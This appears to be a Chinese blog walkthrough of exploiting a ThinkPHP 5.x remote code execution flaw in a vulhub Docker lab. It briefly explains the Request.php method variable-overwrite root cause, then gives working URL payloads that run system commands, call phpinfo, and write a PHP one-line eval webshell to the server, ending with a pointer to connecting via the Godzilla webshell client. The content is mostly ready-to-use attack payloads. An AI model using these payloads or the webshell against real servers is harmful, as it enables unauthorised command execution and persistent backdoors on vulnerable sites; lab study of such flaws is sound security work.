Thinkphp5x远程执行命令及getshell

一.环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题

远程命令执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1 \[\]=whoami

执行完如下图

远程代码执行:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars1\[\]=-1

如下图

写入一句话木马:

POC:?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>">>3.php

然后去访问我们的3.php 创建成功

哥斯拉连接:

相关推荐
DFT计算杂谈几秒前
FeSe超薄膜在CaF2衬底上的电子结构DFT研究
java·服务器·前端
mONESY1 分钟前
React 组件通信进化史:从 Props 层层搬运到 Context 跨层级直达
javascript
BreezeJiang3 分钟前
父组件一更新,子组件就必须跟着更新吗?从 memo 走到 useCallback
前端·javascript
show4334 分钟前
多格式导出怎么做?2026免费小程序TXT/SRT实践
开发语言·小程序·c#
胡萝卜术4 分钟前
复用与并行:从自定义 Hooks 封装状态逻辑,到 Web Worker 的多线程计算
前端·javascript·面试
circuitsosk4 分钟前
长文本与高并发下的Token“瘦身”策略:Prompt压缩与上下文窗口优化
java·前端·python·prompt·上下文窗口·token优化
huabuyu5 分钟前
CLS 总是修不好?因为你只盯着分数,从没拆开看过它
前端·javascript
岁岁养乐多6 分钟前
LangChain4j 工厂模式
java·开发语言
kisshyshy7 分钟前
从多页面到SPA:React Router 路由进阶完全指南
前端·javascript·react.js
今日无bug7 分钟前
JS 数据类型 + 内存分配:从 8 种类型到栈堆模型
javascript·数据结构